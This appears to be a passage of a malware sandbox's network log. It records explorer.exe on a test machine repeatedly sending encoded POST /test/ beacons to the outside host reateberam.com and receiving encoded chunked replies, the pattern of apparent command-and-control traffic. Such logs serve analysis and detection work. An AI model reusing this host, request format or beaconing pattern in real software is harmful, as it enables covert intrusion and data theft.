2024-12-02 17:46:13 UTC	347	IN	Data Raw: 31 35 34 0d 0a 4f 79 71 56 51 63 71 78 30 59 70 69 5a 52 33 66 6a 57 44 6b 67 33 64 4c 50 55 7a 66 42 53 50 43 62 50 75 78 74 79 62 4c 59 6d 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 6e 49 30 4d 73 63 35 54 6d 37 46 73 6d 43 4c 53 32 73 4b 4a 47 73 5a 4f 74 70 63 6f 35 36 55 35 63 48 32 4a 4b 36 38 71 6d 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 73 34 42 4f 7a 68 4b 52 31 2b 62 62 66 44 65 58 55 73 34 4d 74 43 35 6c 54 63 44 52 31 48 37 45 34 36 4e 31 6f 4f 4f 6f 58 4d 66 61 48 38 63 30 69 6a 4e 6a 4f 6c 54 58 6e 53 66 55 68 43 66 32 33 75 30 51 35 36 57 62 41 57 67 4e 50 59 6b 71 39 42 61 4e 61 50 75 49 6a 38 41 73 31 55 54 35 Data Ascii: 154OyqVQcqx0YpiZR3fjWDkg3dLPUzfBSPCbPuxtybLYmmcphSGpB6yiJiVjA1nI0Msc5Tm7FsmCLS2sKJGsZOtpco56U5cH2JK68qmfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/Kcs4BOzhKR1+bbfDeXUs4MtC5lTcDR1H7E46N1oOOoXMfaH8c0ijNjOlTXnSfUhCf23u0Q56WbAWgNPYkq9BaNaPuIj8As1UT5
2024-12-02 17:46:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50020	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:14 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hkawqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:15 UTC	797	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PJFGBEDtZbhz4j3Q75B9F7rO3YH%2BLMpWsQqYRvFbNB1Enfykt2eYHQ3YM%2BtUtHFo0hO0UubVnm7HGhWaXQH%2B2K1VYjyYHAUdOcJ4H7%2FgpKBLsYmrWROD00J3L%2BOCZLHM%2BQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd22a4e8f6ab03-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13768&min_rtt=13763&rtt_var=5172&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1053&delivery_rate=211502&cwnd=32&unsent_bytes=0&cid=bcfbaf0065231d20&ts=706&x=0"
2024-12-02 17:46:15 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4d 69 6d 61 51 4d 4f 32 32 49 70 6c 5a 68 33 66 6a 47 48 69 67 33 46 48 4f 6b 72 56 42 53 54 43 61 76 65 31 74 79 44 49 5a 32 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 74 49 45 38 6a 63 35 66 6a 37 46 63 6a 43 4c 71 37 73 61 4e 47 74 70 61 70 6f 4d 6b 37 37 45 35 53 47 6d 70 50 36 63 53 6f 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 34 32 42 75 50 69 4a 68 35 2b 62 37 37 43 63 6e 41 6f 35 38 74 44 37 56 72 61 44 68 68 47 37 45 73 38 4f 56 4d 4b 4e 73 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 56 52 52 4a Data Ascii: 150MimaQMO22IplZh3fjGHig3FHOkrVBSTCave1tyDIZ2mcphSGpB6yiJiVjA1tIE8jc5fj7FcjCLq7saNGtpapoMk77E5SGmpP6cSofW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/Kc42BuPiJh5+b77CcnAo58tD7VraDhhG7Es8OVMKNsC9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBfVRRJ
2024-12-02 17:46:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50021	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:16 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hkagqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:17 UTC	789	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8lDhclwc3PqXjOaTt4FhZ96oxVdPwUuzNbPV3aTMbLDpqyt09uWMmAeSYovX%2F06ZSbtbcwCJ0w%2FiFiwbIdV7hrBULlMT8OsFfufIfXtnzIIAXt2%2FMh9jbpIPDhmw3SPJkA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd22b1df438c60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1795&min_rtt=1780&rtt_var=699&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1053&delivery_rate=1531200&cwnd=47&unsent_bytes=0&cid=5ebac1c8ffb2b61f&ts=763&x=0"
2024-12-02 17:46:17 UTC	339	IN	Data Raw: 31 34 63 0d 0a 4d 69 57 62 52 73 71 32 32 6f 70 76 5a 52 2f 66 68 47 54 6c 67 33 42 4e 4f 55 6a 53 41 43 4c 43 5a 76 32 77 75 53 50 46 59 6d 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 76 4c 6b 59 6f 65 5a 72 6c 37 46 38 67 43 62 43 39 74 61 4e 47 75 70 43 72 72 4d 67 37 35 45 35 56 47 6d 4e 46 37 73 53 6a 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 77 77 41 75 6a 6b 54 68 6b 52 62 37 58 41 66 48 4e 68 37 6f 4a 45 36 31 44 56 5a 78 39 46 67 45 45 2f 4d 31 6c 45 41 37 62 6c 49 75 66 36 58 54 57 4d 49 6e 61 74 56 58 36 63 49 68 51 63 50 79 58 6a 7a 41 68 31 54 71 4e 65 68 73 36 62 33 72 52 4a 4e 4e 62 46 78 76 62 6c 50 76 64 56 54 70 Data Ascii: 14cMiWbRsq22opvZR/fhGTlg3BNOUjSACLCZv2wuSPFYmmcphSGpB6yiJiVjA1vLkYoeZrl7F8gCbC9taNGupCrrMg75E5VGmNF7sSjfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/KcwwAujkThkRb7XAfHNh7oJE61DVZx9FgEE/M1lEA7blIuf6XTWMInatVX6cIhQcPyXjzAh1TqNehs6b3rRJNNbFxvblPvdVTp
2024-12-02 17:46:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50022	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:19 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hlYwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:19 UTC	795	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iD7aO61uESAqzkm9u9cLeUQkWWIcsy0khixu7wMxl1eZjjf5HhuPZ5e5CZ9v49%2FlrWOQcxWsmVV9%2B8%2B6r1dxvYa%2BxADEB%2BrZpJZT6zQ1VGhVPDSWBpSkzlvOLWATbDeRsQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd22bf4a8cebb6-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14134&min_rtt=14124&rtt_var=5318&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1053&delivery_rate=205474&cwnd=32&unsent_bytes=0&cid=b00c6c01c424fe9e&ts=877&x=0"
2024-12-02 17:46:19 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4d 69 2b 56 52 63 71 36 30 59 70 6e 61 68 6e 5a 67 57 62 6e 67 33 46 47 4f 6b 37 58 41 6b 36 75 5a 76 2b 79 74 79 37 49 4b 52 69 62 37 78 75 50 6f 41 32 31 6a 34 62 55 69 7a 35 72 49 30 38 6a 65 4a 47 4f 67 46 63 6d 44 72 57 36 74 65 30 49 73 5a 75 72 70 73 67 33 67 69 5a 64 47 6d 42 4b 37 4d 58 73 44 47 6c 31 64 48 45 73 51 51 6e 32 75 59 53 4a 44 43 48 52 71 33 63 4d 4e 4a 6b 63 34 72 38 34 78 55 4b 30 75 2f 43 62 58 32 73 68 6f 41 6d 6c 42 68 76 34 45 73 34 79 42 2b 33 6e 4a 48 4d 5a 62 72 62 49 66 6e 51 74 71 34 52 46 37 31 54 5a 43 78 73 70 68 6b 73 34 4e 31 4d 41 4f 73 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 35 51 51 4a Data Ascii: 150Mi+VRcq60YpnahnZgWbng3FGOk7XAk6uZv+yty7IKRib7xuPoA21j4bUiz5rI08jeJGOgFcmDrW6te0IsZurpsg3giZdGmBK7MXsDGl1dHEsQQn2uYSJDCHRq3cMNJkc4r84xUK0u/CbX2shoAmlBhv4Es4yB+3nJHMZbrbIfnQtq4RF71TZCxsphks4N1MAOsC9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBf5QQJ
2024-12-02 17:46:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50023	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:21 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hlYgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:22 UTC	791	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QeeOglsEMaLi0Bpx2fobbI%2FDZo0oKfG0ajpmTae%2B3Vb9h5MJNZxdcEWinnDOBbf1OCsRZd78u4YRz6uCz%2B1CnYLoPBwibkrSG75k1WJjkzYpynsdqKNWGTyJ1xdrzixPeQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd22cd1f78aab3-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14355&min_rtt=14338&rtt_var=5411&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1053&delivery_rate=201685&cwnd=32&unsent_bytes=0&cid=69d6bfc79004baac&ts=718&x=0"
2024-12-02 17:46:22 UTC	339	IN	Data Raw: 31 34 63 0d 0a 4f 53 71 5a 54 4d 47 36 30 59 70 76 59 42 6a 51 68 57 66 6b 67 33 39 4c 4f 45 37 65 41 53 6a 43 62 76 36 37 75 53 66 4a 59 47 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 71 4a 6b 4d 72 65 4a 61 4f 68 31 73 6e 43 37 71 32 73 2b 30 4a 74 5a 75 70 72 63 6b 38 67 69 42 64 46 57 52 45 37 73 58 73 44 47 6c 31 64 48 45 73 51 51 6e 32 75 59 53 4a 44 43 48 52 71 33 63 4d 4e 4a 6b 63 34 72 38 34 78 55 4b 30 75 2f 43 62 58 32 73 68 6f 41 6d 6c 42 68 76 34 47 38 77 32 41 2b 7a 6d 49 58 4d 5a 61 37 4c 43 65 33 4d 6b 71 34 35 41 35 31 58 5a 41 52 77 70 68 6b 45 39 4f 46 34 42 63 72 47 36 4a 66 6e 6c 63 6e 6a 42 4e 6d 71 74 55 58 33 56 4e 78 52 58 4e 43 33 74 31 78 74 79 54 62 51 43 79 38 4b 5a 6e 4f 39 59 49 74 47 65 35 50 48 5a 50 66 64 52 51 35 Data Ascii: 14cOSqZTMG60YpvYBjQhWfkg39LOE7eASjCbv67uSfJYGmcphSGpB6yiJiVjA1qJkMreJaOh1snC7q2s+0JtZuprck8giBdFWRE7sXsDGl1dHEsQQn2uYSJDCHRq3cMNJkc4r84xUK0u/CbX2shoAmlBhv4G8w2A+zmIXMZa7LCe3Mkq45A51XZARwphkE9OF4BcrG6JfnlcnjBNmqtUX3VNxRXNC3t1xtyTbQCy8KZnO9YItGe5PHZPfdRQ5
2024-12-02 17:46:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50024	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:23 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hlYQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:24 UTC	796	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VOc14We%2FuhrDNo8wjgiFwpHw6VTbSTa6c5f9Gnj86H10PcMygnatWHbE5SdkmhZpNAp74Mvv%2BXFuIvytLpnj%2FlSAHI43NBXYR8rRA%2BWhD%2BRnIhxkGxcZhjEm%2BuC8zqd9xA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd22da2e3e0f6d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1656&min_rtt=1652&rtt_var=629&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1053&delivery_rate=1726788&cwnd=252&unsent_bytes=0&cid=c33c1e272bf8eff0&ts=756&x=0"
2024-12-02 17:46:24 UTC	343	IN	Data Raw: 31 35 30 0d 0a 50 79 75 56 52 73 47 31 32 49 70 76 5a 52 72 66 68 6d 4c 6c 67 33 42 47 4d 30 4c 58 41 53 44 43 62 66 6d 37 74 69 62 49 59 47 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 73 4c 30 55 76 63 35 4c 67 37 46 63 6a 44 62 57 2b 74 4b 56 47 73 70 75 76 72 63 73 36 37 55 35 56 48 47 4e 46 37 4d 53 67 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 6f 35 42 75 50 69 4a 52 70 2b 62 37 2f 49 65 58 67 6b 35 4d 74 44 35 31 4c 63 43 6e 5a 50 67 45 30 30 4d 56 38 4e 63 72 47 36 4a 66 6e 6c 63 6e 6a 42 4e 6d 71 74 55 58 33 56 4e 78 52 58 4e 43 33 74 31 78 74 79 54 62 51 43 79 38 4b 5a 6e 4f 39 59 49 74 47 65 35 50 48 5a 50 66 64 52 51 70 Data Ascii: 150PyuVRsG12IpvZRrfhmLlg3BGM0LXASDCbfm7tibIYGmcphSGpB6yiJiVjA1sL0Uvc5Lg7FcjDbW+tKVGspuvrcs67U5VHGNF7MSgfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/Kco5BuPiJRp+b7/IeXgk5MtD51LcCnZPgE00MV8NcrG6JfnlcnjBNmqtUX3VNxRXNC3t1xtyTbQCy8KZnO9YItGe5PHZPfdRQp
2024-12-02 17:46:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50025	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:25 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hlYAqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:26 UTC	786	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3kmSx2RhrFpcEECeZhHYvpRtZBsaPDxSZ52iHJSj6tC4DRV0hiE6lrqerC1OujfcF7NEfP4p7e1FpH5hST2YivffuF%2BfbBcC1Qy1PkvXvCVQ5v2Gphpdr7ffnSCGBdR0YQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd22e9fc924364-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2257&min_rtt=2255&rtt_var=850&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1053&delivery_rate=1283516&cwnd=206&unsent_bytes=0&cid=c9938b283baf6d28&ts=773&x=0"
2024-12-02 17:46:26 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4f 43 75 66 54 63 4b 31 32 49 70 67 5a 78 6a 52 68 32 4c 6a 67 33 4a 48 4f 45 50 53 41 55 36 6f 62 2f 32 30 76 43 4c 4c 4b 52 69 62 37 78 75 50 6f 41 32 31 6a 34 62 55 69 7a 5a 74 49 30 59 76 66 70 43 4f 67 6c 63 67 44 62 65 37 75 4f 30 49 73 70 4b 75 72 63 41 2f 67 69 52 63 48 6d 46 4b 36 73 66 73 44 47 6c 31 64 48 45 73 51 51 6e 32 75 59 53 4a 44 43 48 52 71 33 63 4d 4e 4a 6b 63 34 72 38 34 78 55 4b 30 75 2f 43 62 58 32 73 68 6f 41 6d 6c 42 68 76 34 45 4d 30 7a 42 65 76 6b 49 33 4d 58 62 37 4c 41 63 33 4d 72 71 34 56 48 36 31 72 59 43 52 6f 70 67 45 6b 2f 4d 56 49 4f 4f 63 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 56 57 52 35 Data Ascii: 150OCufTcK12IpgZxjRh2Ljg3JHOEPSAU6ob/20vCLLKRib7xuPoA21j4bUizZtI0YvfpCOglcgDbe7uO0IspKurcA/giRcHmFK6sfsDGl1dHEsQQn2uYSJDCHRq3cMNJkc4r84xUK0u/CbX2shoAmlBhv4EM0zBevkI3MXb7LAc3Mrq4VH61rYCRopgEk/MVIOOcC9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBfVWR5
2024-12-02 17:46:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50026	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:28 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hlZwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:28 UTC	799	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bwhvg7VQUc6B2k4OuuGWxlP7jls%2Fk2XcXyU%2BJFvZGhNWGObrkN1RH6Tl%2BicsXeA316oJSX22PU4Ecd8pbchBP79j%2B1ES%2BFL%2BA8BnM%2BrzaQ4uVkEEv5RrVBPy0yJvaLCwhg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd22f79f3ea217-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13731&min_rtt=13721&rtt_var=5165&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1053&delivery_rate=211563&cwnd=32&unsent_bytes=0&cid=22e29e94a3e149b1&ts=687&x=0"
2024-12-02 17:46:28 UTC	335	IN	Data Raw: 31 34 38 0d 0a 4f 79 32 56 51 73 43 33 32 59 70 75 5a 42 72 63 68 32 4c 68 67 33 56 4f 50 55 50 58 41 69 58 43 62 76 75 37 75 43 4c 4b 5a 47 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 72 4a 45 55 75 66 4a 61 4f 67 46 59 6c 44 72 71 34 73 2b 30 49 74 70 65 6d 70 4b 63 39 36 43 4e 58 48 57 4d 42 30 76 6e 46 55 79 39 7a 57 67 30 44 56 55 33 2b 6f 59 50 48 55 33 32 5a 34 54 6b 4b 4e 4a 6f 4e 39 62 77 77 6d 55 43 32 2b 4c 79 41 56 7a 63 68 36 6e 66 62 47 79 62 4c 45 4d 73 78 61 2b 50 6c 4b 52 6f 55 5a 62 4f 4d 66 48 55 72 34 49 39 50 36 44 33 66 43 52 35 48 67 55 6b 30 66 57 59 79 57 2b 37 38 49 39 65 59 58 57 79 45 50 6e 4b 71 48 79 4b 4a 61 56 51 66 4f 54 44 72 32 41 78 68 42 62 49 66 69 49 36 43 6c 4c 4e 59 61 4b 2f 67 2f 63 33 6e 50 76 56 62 54 76 Data Ascii: 148Oy2VQsC32YpuZBrch2Lhg3VOPUPXAiXCbvu7uCLKZGmcphSGpB6yiJiVjA1rJEUufJaOgFYlDrq4s+0ItpempKc96CNXHWMB0vnFUy9zWg0DVU3+oYPHU32Z4TkKNJoN9bwwmUC2+LyAVzch6nfbGybLEMsxa+PlKRoUZbOMfHUr4I9P6D3fCR5HgUk0fWYyW+78I9eYXWyEPnKqHyKJaVQfOTDr2AxhBbIfiI6ClLNYaK/g/c3nPvVbTv
2024-12-02 17:46:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50027	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:30 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hlZgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:31 UTC	793	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hyeeaOlocEFkIkmn86ClgSWWFJ%2FQ8tq6e6Ulaeg7ZHnzUFxTpOefl%2Fqp9N3QYKA9HNgvqUnWmz2T1wuugn%2FYaElhSYCbyox4ZUY2dD2%2BtpcfihlZlPNYOtwhomNaWgbUyg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd23056a6d7114-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14045&min_rtt=14030&rtt_var=5291&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1053&delivery_rate=206360&cwnd=32&unsent_bytes=0&cid=7949f5a9a33db474&ts=716&x=0"
